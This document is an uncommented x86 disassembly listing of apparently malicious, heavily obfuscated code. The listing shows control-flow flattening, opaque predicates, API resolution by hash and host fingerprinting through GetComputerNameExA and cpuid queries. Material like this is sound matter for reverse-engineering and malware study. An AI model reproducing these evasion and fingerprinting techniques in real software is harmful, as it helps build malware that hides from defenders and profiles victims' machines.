mov eax, dword [eax]
mov dword [esi + 0x128], eax
mov eax, dword [esi + 0x160]
mov edi, dword [eax*4 + 0x480420]
push eax
sub esp, 0xc
mov ebx, esp
mov byte [ebx + 0xd], 0
mov al, byte [0x480538]
mov byte [ebx + 0xc], al
mov eax, dword [0x480534]
mov dword [ebx + 8], eax
mov eax, dword [0x480530]
mov dword [ebx + 4], eax
mov eax, dword [0x48052c]
mov dword [ebx], eax
push 5
push 0x480539
push 0xd
push ebx
call fcn.00444840
add esp, 0x10
push dword [esi + 0x130]
push dword [esi + 0x12c]
push dword [esi + 0x128]
push edi
push ebx
push 0x7ff
push dword [esi + 0x110]
call fcn.0042c4cd
add esp, 0x1c
mov dword [esi + 4], 0x909d14cd
jmp 0x43fc24
mov eax, dword [esi + 0xc]
dec eax
mov dword [esi + 0xc], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x53df
dec edx
mov eax, 0x2231c25
cmp ecx, edx
je 0x442839
mov eax, 0x7362c2eb
mov dword [esi + 4], eax
jmp 0x43fc24
push 4
push 0x474074
push 0xa
push dword [esi + 0xfc]
call fcn.00444720
add esp, 0x10
push 0x16
push dword [esi + 0xfc]
push dword [esi + 0x78]
call fcn.0044cd70
add esp, 0xc
mov dword [esi + 4], 0x1d4db8fc
jmp 0x43fc24
mov eax, dword [esi + 0x190]
mov ecx, dword [esi + 0x198]
mov dword [ecx], eax
mov eax, dword [esi + 0x14]
add eax, 0xc
mov dword [esi + 0x19c], eax
mov dword [esi + 4], 0xb37af821
jmp 0x43fc24
mov dword [esi + 4], 0xbaeb7a37
jmp 0x43fc24
imul ecx, dword [esi + 8], 0x880
add ecx, 0xffff9a00
mov dword [esi + 8], ecx
mov eax, 0x325a70cf
cmp ecx, 0xa6
jge 0x4428cb
mov eax, 0x8fe8d881
mov dword [esi + 4], eax
jmp 0x43fc24
imul edi, dword [esi + 8], 0x1740
add edi, 0xfffffbe0
mov dword [esi + 8], edi
push 0x4a12
push edi
push 0x3f0
call fcn.0042c4cd
add esp, 0xc
push 0x50f1
push edi
push 0x4ff3
call fcn.0042c4cd
add esp, 0xc
mov eax, 0x519910a8
cmp edi, 0x23
jae 0x442918
mov eax, 0xe544d742
mov dword [esi + 4], eax
jmp 0x43fc24
mov dword [esi + 4], 0x29a52922
jmp 0x43fc24
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x7c], eax
mov dword [esi + 4], 0xd0460e08
jmp 0x43fc24
mov ecx, dword [esi + 0xc]
mov eax, ecx
shr eax, 0xa
imul eax, eax
imul edx, eax, 0x2627
shr ecx, 0x19
dec edx
imul ecx, ecx, 0xaf
add ecx, 0xffffff5d
mov dword [esi + 0xc], ecx
mov ecx, 0x79ae4a35
cmp edx, eax
je 0x442973
mov ecx, 0xef1c28c
mov dword [esi + 4], ecx
jmp 0x43fc24
imul edi, dword [esi + 8], 0x2b80
add edi, 0x3e05ca
mov dword [esi + 8], edi
push 0x158b
push 0x847
push edi
call fcn.0042c4cd
add esp, 0xc
push 0xa6
push edi
push 0x2864
call fcn.0042c4cd
add esp, 0xc
mov dword [esi + 4], 0x15477e10
jmp 0x43fc24
mov eax, dword [esi + 0x50]
mov dword [esi + 4], 0xc8d4dac3
jmp 0x43fc24
mov eax, dword [esi + 0x30]
mov dword [esi + 4], 0x5ca5926
jmp 0x43fc24
mov eax, dword [esi + 0xc]
add eax, 0xffffffc5
mov dword [esi + 0xc], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x2a1b
dec edx
mov eax, 0xafec42fd
cmp edx, ecx
je 0x4429fe
mov eax, 0x24125407
mov dword [esi + 4], eax
jmp 0x43fc24
push dword [esi + 0x44]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x40]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
mov dword [esi + 4], 0xf95480d7
jmp 0x43fc24
mov edi, dword [esi + 8]
shl edi, 4
add edi, 0xfffffee0
mov eax, edi
shr eax, 5
mov dword [esi + 8], eax
push 0x1683
push 0x51f1
push eax
push 0x43f0
call fcn.00444720
add esp, 0x10
mov eax, 0xdd1c1f7
cmp edi, 0x8a0
jae 0x442a6c
mov eax, 0x2d53bf60
mov dword [esi + 4], eax
jmp 0x43fc24
push 5
push 0x480491
push 0xf
push dword [esi + 0x8c]
call fcn.00444840
add esp, 0x10
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x8c]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push str.YgTnYh__zamesblack1029
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
mov dword [esi + 4], 0x7b77bc8f
jmp 0x43fc24
mov eax, dword [esi + 0xc]
shr eax, 9
add eax, 0xe0
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x2f3b
dec edx
shr eax, 3
and eax, 0x1ff000
mov dword [esi + 0xc], eax
mov eax, 0x463a114b
cmp edx, ecx
je 0x442af9
mov eax, 0xbddb934c
mov dword [esi + 4], eax
jmp 0x43fc24
mov ecx, dword [esi + 0xc]
mov eax, ecx
shr eax, 0xa
imul eax, eax
imul edx, eax, 0x318f
dec edx
shr ecx, 0x17
and ecx, 0xfffffffe
mov dword [esi + 0xc], ecx
mov ecx, 0x6299c876
cmp edx, eax
je 0x442b2a
mov ecx, 0xf8e559fe
mov dword [esi + 4], ecx
jmp 0x43fc24
imul edi, dword [esi + 8], 0x8345
add edi, 0x11abc0
shr edi, 0xc
mov dword [esi + 8], edi
push 0x5d0d
push 0x17b3
push 0x2712
push edi
call fcn.00444840
add esp, 0x10
call fcn.00407949
mov eax, 0xaf3d650a
cmp edi, 0x51
je 0x442b71
mov eax, 0x446e549
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 0xf4]
mov word [eax + 0x18], 0
mov dword [esi + 4], 0x16690ac7
jmp 0x43fc24
mov eax, dword [esi + 0xfc]
mov word [eax + 0x14], 0
push 0x14
push str.__r
push dword [esi + 0xfc]
call fcn.0044cd70
add esp, 0xc
mov dword [esi + 4], 0x8e35aca4
jmp 0x43fc24
mov dword [esi + 4], 0x2231c25
jmp 0x43fc24
imul eax, dword [esi + 8], 0xcc00000
add eax, 0xe26c3a00
mov dword [esi + 8], eax
push 0x3669
push eax
push 0x418e
push 0x1438
call fcn.00444720
add esp, 0x10
mov dword [esi + 4], 0xb9650f70
jmp 0x43fc24
mov eax, dword [esi + 0x15c]
mov byte [eax], 0
mov eax, dword [esi + 0x9c]
mov ecx, dword [0x4804a8]
mov dword [eax + 4], ecx
mov ecx, dword [0x4804a4]
mov dword [eax], ecx
push 4
push 0x4804ac
push 8
push dword [esi + 0x9c]
call fcn.00444840
add esp, 0x10
mov dword [esi + 4], 0x9e9f1ead
jmp 0x43fc24
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xc8]
mov dword [esi + 0x190], eax
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov dword [esi + 0x194], eax
mov dword [esi + 4], 0x9e4279cd
jmp 0x43fc24
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xdc]
mov dword [esi + 0x1ac], eax
mov dword [esi + 4], 0x60edd945
jmp 0x43fc24
mov eax, dword [esi + 0xec]
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xe8]
mov dword [esi + 0x1b8], eax
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xe8]
mov eax, dword [esi + 0xec]
mov dword [esi + 0x1bc], eax
mov dword [esi + 4], 0x23139ff4
jmp 0x43fc24
mov dword [esi + 8], 0x60000000
call fcn.00407949
mov dword [esi + 4], 0x367e9265
jmp 0x43fc24
mov eax, dword [esi + 8]
shr eax, 0xc
imul eax, eax, 0x6c000
shr eax, 3
mov dword [esi + 8], eax
mov dword [esi + 4], 0x39fbe18f
jmp 0x43fc24
mov dword [esi + 0xc], 0
mov dword [esi + 4], 0xd62d79db
jmp 0x43fc24
push dword [esi + 0x1c]
call fcn.00449eb4
add esp, 4
mov dword [esi + 0x160], eax
push 1
push 0x800
call fcn.0045cb83
add esp, 8
mov dword [esi + 0x110], eax
mov eax, dword [esi + 0x1c]
add eax, 8
mov dword [esi + 0x164], eax
mov dword [esi + 4], 0x4a3c51f5
jmp 0x43fc24
push eax
mov eax, esp
mov dword [esi + 0x28], eax
mov dword [esi + 4], 0xd4b78af1
jmp 0x43fc24
mov ecx, dword [esi + 8]
add ecx, 0x38
mov dword [esi + 8], ecx
mov eax, 0xe9f6d0e6
cmp ecx, 0x79
jae 0x442dab
mov eax, 0x2d53bf60
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 8]
shl eax, 0x10
lea edi, [eax + eax*2]
mov dword [esi + 8], edi
push 0x57ec
push edi
push 0x6256
call fcn.0042c4cd
add esp, 0xc
mov eax, 0x6c07dc46
cmp edi, 0xd1
jl 0x442de4
mov eax, 0x8bf3e645
mov dword [esi + 4], eax
jmp 0x43fc24
push 0x1a4
push 0
push dword [esi + 0x1cc]
call fcn.0044d870
add esp, 0xc
mov eax, dword [esi + 0x20]
mov dword [eax], 0x1a8
mov dword [esi + 4], 0x6fa8cbcf
jmp 0x43fc24
mov dword [esi + 4], 0x7e3d8bd7
jmp 0x43fc24
imul ecx, dword [esi + 8], 0x3528
add ecx, 0x1f3be7
mov dword [esi + 8], ecx
mov eax, 0x8a146f18
cmp ecx, 0x55
jb 0x442e41
mov eax, 0x48f18c92
mov dword [esi + 4], eax
jmp 0x43fc24
mov edi, dword [esi + 8]
add edi, 0x12
mov dword [esi + 8], edi
push 0x451f
push edi
push 0x2d48
push 0x26f7
call fcn.00444720
add esp, 0x10
push 0x53ed
push 0x3b81
push edi
push 0x397e
call fcn.00444840
add esp, 0x10
mov eax, 0x91f8b2e8
cmp edi, 0xb7
je 0x442e94
mov eax, 0x5ead8a11
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 8]
lea ecx, [eax + eax*8]
shl ecx, 4
add ecx, 0x24
mov eax, ecx
shr eax, 4
mov dword [esi + 8], eax
mov eax, 0xf4593bdd
cmp ecx, 0x5b0
jb 0x442ec2
mov eax, 0x52c0094f
mov dword [esi + 4], eax
jmp 0x43fc24
push eax
sub esp, 0x1a4
mov eax, esp
mov dword [esi + 0x20], eax
mov dword [esi + 4], 0x52c0094f
jmp 0x43fc24
mov edi, dword [esi + 8]
add edi, 0x31
mov eax, edi
shr eax, 9
add eax, 0xb2
mov dword [esi + 8], eax
call fcn.00407949
call fcn.00407949
mov eax, 0x840a5579
cmp edi, 0x3a00
jae 0x442f11
mov eax, 0xb9650f70
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 8]
shr eax, 3
imul edi, eax, 0x1a5e
mov dword [esi + 8], edi
push 0x493b
push edi
push 0x1dd6
call fcn.0042c4cd
add esp, 0xc
push 0x2497
push edi
push 0x62aa
call fcn.0042c4cd
add esp, 0xc
mov dword [esi + 4], 0x20ed5b0e
jmp 0x43fc24
mov eax, dword [esi + 0x30]
mov dword [eax], 0x8000
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x98], eax
mov dword [esi + 4], 0xf2c135a5
jmp 0x43fc24
mov ecx, dword [esi + 8]
shl ecx, 0xe
add ecx, 0x1a8000
mov dword [esi + 8], ecx
mov eax, 0xc5f299bf
cmp ecx, 0x74
jl 0x442f99
mov eax, 0xb5a096ce
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1b4]
mov dword [eax + 0x24], ecx
mov dword [esi + 4], 0x3d4662e1
jmp 0x43fc24
mov eax, dword [esi + 0x14]
add eax, 0x20
mov dword [esi + 0x1c0], eax
mov dword [esi + 4], 0x528e5eee
jmp 0x43fc24
mov eax, dword [esi + 0x8c]
mov byte [eax + 0xf], 0
push 0xf
push 0x480482
push dword [esi + 0x8c]
call fcn.0044cd70
add esp, 0xc
mov dword [esi + 4], 0x5101437e
jmp 0x43fc24
mov eax, dword [esi + 0xbc]
mov ecx, dword [0x480593]
mov dword [eax + 8], ecx
mov ecx, dword [0x48058f]
mov dword [eax + 4], ecx
mov ecx, dword [str.c4_t__s0__q]
mov dword [eax], ecx
mov dword [esi + 4], 0xab2fa7c8
jmp 0x43fc24
push 4
push 0x48047e
push 0xb
push dword [esi + 0x88]
call fcn.00444840
add esp, 0x10
mov dword [esi + 4], 0x79c5bcd5
jmp 0x43fc24
imul eax, dword [esi + 0xc], 0xab
add eax, 0xa566
imul ecx, eax, 0xc2
imul eax, eax
imul edx, eax, 0x7c5
dec edx
add ecx, 0xffffff6f
mov dword [esi + 0xc], ecx
mov ecx, 0x38d6897c
cmp eax, edx
je 0x44307e
mov ecx, 0x5d54c426
mov dword [esi + 4], ecx
jmp 0x43fc24
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xf4], eax
mov dword [esi + 4], 0x32ae1d7d
jmp 0x43fc24
mov eax, dword [esi + 8]
shr eax, 0xa
imul ecx, eax, 0x56
add ecx, 0xffffff3e
mov dword [esi + 8], ecx
mov eax, 0xd4b78af1
cmp ecx, 0xe
je 0x4430bf
mov eax, 0xe544d742
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 0x174]
mov word [eax], pe_nt_image_headers32
push dword [esi + 0x104]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
mov dword [esi + 4], 0x8a159cd1
jmp 0x43fc24
imul eax, dword [esi + 0xc], 0x1998000
add eax, 0x1450000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x9ef395ad
jmp 0x43fc24
mov eax, dword [esi + 8]
shr eax, 1
and eax, 0x3fffff00
imul eax, eax, 0x3b4
or eax, 0xe3
mov dword [esi + 8], eax
mov dword [esi + 4], 0x52c0094f
jmp 0x43fc24
mov eax, dword [esi + 8]
shr eax, 9
imul eax, eax, 0xc3
shr eax, 9
imul edi, eax, 0x68
add edi, 0xffffa840
mov eax, edi
shr eax, 0xb
mov dword [esi + 8], eax
push 0x44c7
push eax
push 0x2d5f
call fcn.0042c4cd
add esp, 0xc
mov eax, 0xb6e7b0da
cmp edi, 0x50000
jae 0x443173
mov eax, 0xc21f4a11
mov dword [esi + 4], eax
jmp 0x43fc24
imul ecx, dword [esi + 8], 0x47800
add ecx, 0xffffff6d
mov eax, ecx
shr eax, 0x12
mov dword [esi + 8], eax
mov eax, 0x48f18c92
cmp ecx, 0x1bc0000
jae 0x4431a2
mov eax, 0x82f9eba8
mov dword [esi + 4], eax
jmp 0x43fc24
push dword [esi + 0x18]
push dword [esi + 0x48]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x4c]
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0xa4], eax
mov eax, dword [esi + 0xa4]
mov byte [eax + 0x1b], 0
push 0x1b
push 0x4804e0
push dword [esi + 0xa4]
call fcn.0044cd70
add esp, 0xc
mov dword [esi + 4], 0x469974e6
jmp 0x43fc24
mov dword [esi + 4], 0xc99362eb
jmp 0x43fc24
imul eax, dword [esi + 8], 0x1680
shr eax, 4
and eax, 0x1fffc00
imul edi, eax, 0x7f00
mov dword [esi + 8], edi
push edi
push 0x34d8
push 0x25c6
push 0x453b
call fcn.00444840
add esp, 0x10
mov eax, 0x39fa3476
test edi, edi
je 0x44323b
mov eax, 0x48f18c92
mov dword [esi + 4], eax
jmp 0x43fc24
mov ecx, dword [esi + 0xc]
lea eax, [ecx - 0x5a]
imul eax, eax
imul ecx, ecx, 0xba
imul edx, eax, 0x1a69
dec edx
add ecx, 0x5865
mov dword [esi + 0xc], ecx
mov ecx, 0x2231c25
cmp edx, eax
je 0x443270
mov ecx, 0x835148af
mov dword [esi + 4], ecx
jmp 0x43fc24
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xc0]
mov ecx, dword [esi + 0xc4]
mov dword [esi + 0x188], eax
mov dword [esi + 4], 0xd4b796f7
jmp 0x43fc24
push 0x18
push 0x473fa0
push dword [esi + 0x94]
call fcn.0044cd70
add esp, 0xc
push 7
push 0x473fb8
push 0xc
push dword [esi + 0x94]
call fcn.00444720
add esp, 0x10
mov dword [esi + 4], 0xb6e7b0da
jmp 0x43fc24
mov edi, dword [esi + 8]
mov ebx, edi
shr ebx, 0x11
add ebx, 0xa5
shr ebx, 3
mov dword [esi + 8], ebx
call fcn.00407949
push 0x289d
push ebx
push 0x1c0c
push 0x460c
call fcn.00444720
add esp, 0x10
mov eax, 0x79ae4a35
cmp edi, 0x8960000
jb 0x44331d
mov eax, 0x4fa8551d
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 8]
shr eax, 4
imul edi, eax, 0x3e00
add edi, 0xffbabc00
mov dword [esi + 8], edi
push 0x5c9b
push 0x4c05
push 0xf1a
push edi
call fcn.00444840
add esp, 0x10
push edi
push 0x5036
push 0x5857
call fcn.0042c4cd
add esp, 0xc
mov dword [esi + 4], 0x446e549
jmp 0x43fc24
mov edi, dword [esi + 8]
mov eax, 0x9a
add edi, eax
mov ebx, edi
shr ebx, 7
mov dword [esi + 8], ebx
push 0x2065
push ebx
push 0x3866
call fcn.0042c4cd
add esp, 0xc
push ebx
call fcn.0043fc0c
add esp, 4
mov eax, 0xf6fe047f
cmp edi, 0x300
jae 0x4433b1
mov eax, 0xd01a2de7
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 0x24]
mov dword [esi + 4], 0x48fbba78
jmp 0x43fc24
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0xb1fcd5fe
jmp 0x43fc24
mov ecx, dword [esi + 0xc]
imul eax, ecx, 0x2f
imul eax, eax
imul edx, eax, 0x66a9
dec edx
imul ecx, ecx, 0x5e0
add ecx, 0xce0
mov dword [esi + 0xc], ecx
mov ecx, 0xfaaf446a
cmp edx, eax
je 0x443415
mov ecx, 0x463a114b
mov dword [esi + 4], ecx
jmp 0x43fc24
imul ecx, dword [esi + 8], 0x1be000
or ecx, 0x59
mov dword [esi + 8], ecx
mov eax, 0xbdd9fdec
cmp ecx, 0xd4
jb 0x44343c
mov eax, 0x446e549
mov dword [esi + 4], eax
jmp 0x43fc24
imul edi, dword [esi + 8], 0x9d
add edi, 0x72
mov dword [esi + 8], edi
push edi
call fcn.0043fc0c
add esp, 4
mov eax, 0x6652a4e
cmp edi, 0xa0
jge 0x44346c
mov eax, 0x61d10509
mov dword [esi + 4], eax
jmp 0x43fc24
mov ecx, dword [esi + 0xc]
imul eax, ecx, 0x31
add eax, 0x2df4
imul eax, eax
imul ecx, ecx, 0x2307
imul edx, eax, 0x355f
add ecx, 0x2171af
dec edx
shr ecx, 0xb
imul ecx, ecx, 0xa5
mov dword [esi + 0xc], ecx
mov ecx, 0xabf6196f
cmp eax, edx
je 0x4434af
mov ecx, 0xac54653c
mov dword [esi + 4], ecx
jmp 0x43fc24
push dword [esi + 0x94]
push 0xa2f80070
call fcn.004478ec
add esp, 8
push dword [esi + 0x28]
push dword [esi + 0x108]
call eax
mov dword [esi + 4], 0x15d9955a
jmp 0x43fc24
mov eax, dword [esi + 0xc]
mov ecx, 0xc8
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x1553
shl eax, 6
dec edx
or eax, 7
mov dword [esi + 0xc], eax
mov eax, 0xb38b5094
cmp ecx, edx
je 0x44350e
mov eax, 0x2840e0fc
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 0x68]
mov dword [esi + 4], 0x50649b06
jmp 0x43fc24
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x168]
mov word [eax + ecx], 0xa
mov eax, dword [esi + 0x5c]
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xb0], eax
mov dword [esi + 4], 0x5286ace7
jmp 0x43fc24
mov eax, dword [esi + 0x48]
mov dword [esi + 4], 0x577d64e4
jmp 0x43fc24
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x3c], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x40], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x44], eax
mov dword [esi + 4], 0xd339d5fe
jmp 0x43fc24
imul edi, dword [esi + 8], 0x70
mov eax, edi
shr eax, 2
mov dword [esi + 8], eax
push eax
push 0x333f
push 0xe43
push 0x3db4
call fcn.00444720
add esp, 0x10
mov eax, 0x6f47770e
cmp edi, 0xc4
jb 0x4435bc
mov eax, 0x8fe8d881
mov dword [esi + 4], eax
jmp 0x43fc24
imul edi, dword [esi + 8], 0x19000
add edi, 0x8ca000
and edi, 0xffff8000
mov dword [esi + 8], edi
push edi
push 0x2e27
push 0x5c6e
push 0x465d
call fcn.00444840
add esp, 0x10
push 0x270b
push 0x2414
push edi
push 0x21e7
call fcn.00444840
add esp, 0x10
mov eax, 0x9ef395ad
cmp edi, 0x33
jge 0x443619
mov eax, 0xf8e559fe
mov dword [esi + 4], eax
jmp 0x43fc24
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
mov dword [esi + 0x178], eax
mov dword [esi + 4], 0xff67e51d
jmp 0x43fc24
mov eax, dword [esi + 0xc]
mov ecx, 0xffffff15
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x81c5
dec edx
shl eax, 5
and eax, 0xfff80000
mov dword [esi + 0xc], eax
mov eax, 0x8ca2d796
cmp ecx, edx
je 0x44366d
mov eax, 0x79ae4a35
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 0xc]
mov ecx, 0xd8
add eax, ecx
shr eax, 5
add eax, 0x3e
imul ecx, eax, 0xec
imul eax, eax
imul edx, eax, 0x72cd
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xa2f2666c
cmp eax, edx
je 0x4436a6
mov ecx, 0x9c866ef3
mov dword [esi + 4], ecx
jmp 0x43fc24
xor ebx, ebx
inc ebx
push ebx
mov edi, 0x20
push edi
call fcn.0045cb83
add esp, 8
mov dword [esi + 0x100], eax
push ebx
push edi
call fcn.0045cb83
add esp, 8
mov dword [esi + 0x104], eax
mov edi, 0xa
push edi
push dword [esi + 0x100]
push dword [esi + 0x134]
call fcn.0045b1d8
add esp, 0xc
push edi
push dword [esi + 0x104]
push dword [esi + 0x138]
call fcn.0045b1d8
add esp, 0xc
mov dword [esi + 4], 0x8fe8d881
jmp 0x43fc24
mov dword [esi + 4], 0x4147df62
jmp 0x43fc24
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1ac]
mov dword [eax + 0x1c], ecx
mov eax, 0x80000004
xor ecx, ecx
cpuid
mov dword [esi + 0xe0], eax
mov dword [esi + 0xe4], ebx
mov dword [esi + 0xe8], ecx
mov dword [esi + 0xec], edx
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xe8]
mov eax, dword [esi + 0xec]
mov eax, dword [esi + 0xe0]
mov dword [esi + 0x1b0], eax
mov dword [esi + 4], 0x68b1d8d0
jmp 0x43fc24
mov edi, dword [esi + 8]
shr edi, 0xf
add edi, 0xfffffff4
mov ebx, edi
shr ebx, 8
mov dword [esi + 8], ebx
push 0x5164
push 0x8c0
push ebx
push 0x2b86
call fcn.00444840
add esp, 0x10
push 0x4387
push 0x31ef
push 0x30d5
push ebx
call fcn.00444840
add esp, 0x10
mov eax, 0x79ae4a35
cmp edi, 0x5300
jb 0x4437c7
mov eax, 0x2231c25
mov dword [esi + 4], eax
jmp 0x43fc24
mov dword [esi + 4], 0x683bff05
jmp 0x43fc24
mov eax, dword [esi + 0xc]
add eax, 0xffffffc5
shr eax, 3
add eax, 0x6d
mov ecx, eax
shl ecx, 4
imul eax, eax
imul edx, eax, 0x557b
dec edx
add ecx, 0xffffff99
mov dword [esi + 0xc], ecx
mov ecx, 0xbdd9fdec
cmp eax, edx
je 0x44380a
mov ecx, 0x507da226
mov dword [esi + 4], ecx
jmp 0x43fc24
imul edi, dword [esi + 8], 0xe10
add edi, 0xfff52324
mov eax, edi
shr eax, 4
mov dword [esi + 8], eax
call fcn.00407949
mov eax, 0x58c0e25c
cmp edi, 0xf40
jb 0x44383e
mov eax, 0x5d1ff24c
mov dword [esi + 4], eax
jmp 0x43fc24
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
mov dword [esi + 0x184], eax
mov dword [esi + 4], 0x435a0da4
jmp 0x43fc24
mov edi, dword [esi + 8]
shr edi, 3
add edi, 4
shr edi, 8
add edi, 0x173
mov dword [esi + 8], edi
push edi
push 0x314b
push 0x3544
call fcn.0042c4cd
add esp, 0xc
push edi
push 0x57d2
push 0x1951
call fcn.0042c4cd
add esp, 0xc
mov dword [esi + 4], 0x79848f3b
jmp 0x43fc24
mov eax, dword [esi + 0x28]
mov dword [esi + 4], 0xb5a096ce
jmp 0x43fc24
mov edi, dword [esi + 8]
shl edi, 6
add edi, 0x1ac0
and edi, 0xffffc000
or edi, 0x5d
mov dword [esi + 8], edi
push edi
push 0x2622
push 0x22f
push 0x4d6c
call fcn.00444840
add esp, 0x10
push edi
push 0x5c21
push 0x1e5e
call fcn.0042c4cd
add esp, 0xc
mov eax, 0x9d673473
cmp edi, 0xd6
jae 0x44390e
mov eax, 0xefb47bd9
mov dword [esi + 4], eax
jmp 0x43fc24
mov ecx, dword [esi + 8]
shl ecx, 0xa
add ecx, 0x9800
mov eax, ecx
shr eax, 0xf
mov dword [esi + 8], eax
mov eax, 0xb5a096ce
cmp ecx, 0x680000
jae 0x44393c
mov eax, 0x485de71b
mov dword [esi + 4], eax
jmp 0x43fc24
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x48], eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x4c], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x50], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x54], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x1c], eax
mov dword [esi + 4], 0xbdd9fdec
jmp 0x43fc24
mov edi, dword [esi + 8]
shl edi, 0x10
mov dword [esi + 8], edi
push 0xbe1
push 0xf6b
push 0x5c40
push edi
call fcn.00444840
add esp, 0x10
push 0x5e4c
push edi
push 0x44ba
push 0x5e34
call fcn.00444720
add esp, 0x10
mov eax, 0x1347eb9c
test edi, edi
je 0x4439c6
mov eax, 0x79ae4a35
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 0xa0]
mov byte [eax + 0xd], 0
mov dword [esi + 4], 0x9d673473
jmp 0x43fc24
mov ecx, dword [esi + 8]
shl ecx, 0x14
add ecx, 0xffff8080
mov eax, ecx
shr eax, 0xe
mov dword [esi + 8], eax
mov eax, 0x4d980ff5
cmp ecx, 0x1bc000
jae 0x443a0a
mov eax, 0xd11548bf
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 0x5c]
mov ecx, dword [esi + 0xb0]
mov dl, byte [ecx + 8]
mov byte [eax + 8], dl
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x5c]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
call fcn.0042b726
push eax
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
mov dword [esi + 0x16c], eax
mov dword [esi + 4], 0x876f42a3
jmp 0x43fc24
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1b8]
mov dword [eax + 0x28], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1bc]
mov dword [eax + 0x2c], ecx
mov dword [esi + 4], 0x37d8f3f6
jmp 0x43fc24
imul eax, dword [esi + 8], 0x6c0
add eax, 0x2a48
mov dword [esi + 8], eax
push 0x5b3
push 0x25b8
push 0x4e94
push eax
call fcn.00444720
add esp, 0x10
mov dword [esi + 4], 0x79ae4a35
jmp 0x43fc24
mov eax, dword [esi + 0xc]
add eax, 0xffffffa8
shr eax, 2
add eax, 0xffffff5a
imul ecx, eax, 0xd0
imul eax, eax
imul edx, eax, 0x2b61
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x578adb76
cmp edx, eax
je 0x443aed
mov ecx, 0x38d6897c
mov dword [esi + 4], ecx
jmp 0x43fc24
mov dword [esi + 4], 0xf5a6595a
jmp 0x43fc24
imul edi, dword [esi + 8], 0x98
add edi, 0xfffffda0
mov dword [esi + 8], edi
push 0x1076
push 0x406
push edi
call fcn.0042c4cd
add esp, 0xc
mov eax, 0xb1e29254
cmp edi, 0x56
jb 0x443b33
mov eax, 0x932a4f66
mov dword [esi + 4], eax
jmp 0x43fc24
push dword [esi + 0xb8]
push 0x2f9959e0
call fcn.004478ec
add esp, 8
mov edi, 0x55
push edi
push dword [esi + 0x114]
call eax
push 1
push edi
call fcn.0045cb83
add esp, 8
mov dword [esi + 0x118], eax
mov dword [esi + 4], 0x485de71b
jmp 0x43fc24
push 0xa
push dword [esi + 0x11c]
push dword [esi + 0x1d0]
call fcn.0045b1d8
add esp, 0xc
mov dword [esi + 4], 0xedc0f362
jmp 0x43fc24
imul ecx, dword [esi + 8], 0x86
add ecx, 0x3cac
